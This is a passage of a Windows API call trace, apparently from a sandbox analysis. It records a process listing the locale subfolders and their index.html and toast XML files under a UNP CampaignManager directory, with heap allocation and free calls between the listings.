ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0240.524] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.525] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9702, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.525] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.525] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.525] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.525] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.525] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0240.527] GetProcessHeap () returned 0xc10000 [0240.527] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.527] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0240.527] GetProcessHeap () returned 0xc10000 [0240.527] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0240.530] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.530] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x1007a, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.530] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x306, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.530] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.531] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.531] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.531] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0240.532] GetProcessHeap () returned 0xc10000 [0240.532] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.533] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0240.533] GetProcessHeap () returned 0xc10000 [0240.533] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0240.535] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.535] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9cf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.535] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93696451, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93696451, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.536] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938ac51e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x938ac51e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.536] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.536] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.536] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0240.537] GetProcessHeap () returned 0xc10000 [0240.537] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.537] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0240.537] GetProcessHeap () returned 0xc10000 [0240.538] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0240.541] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.541] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xd422, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.541] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x19338e00, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.541] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.541] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.542] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.542] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0240.543] GetProcessHeap () returned 0xc10000 [0240.543] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.543] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1 [0240.544] GetProcessHeap () returned 0xc10000 [0240.544] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0240.547] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.547] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b5b0aa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.547] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.547] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.547] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.547] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.547] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0240.549] GetProcessHeap () returned 0xc10000 [0240.549] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.549] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0240.549] GetProcessHeap () returned 0xc10000 [0240.549] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0240.552] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.552] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, 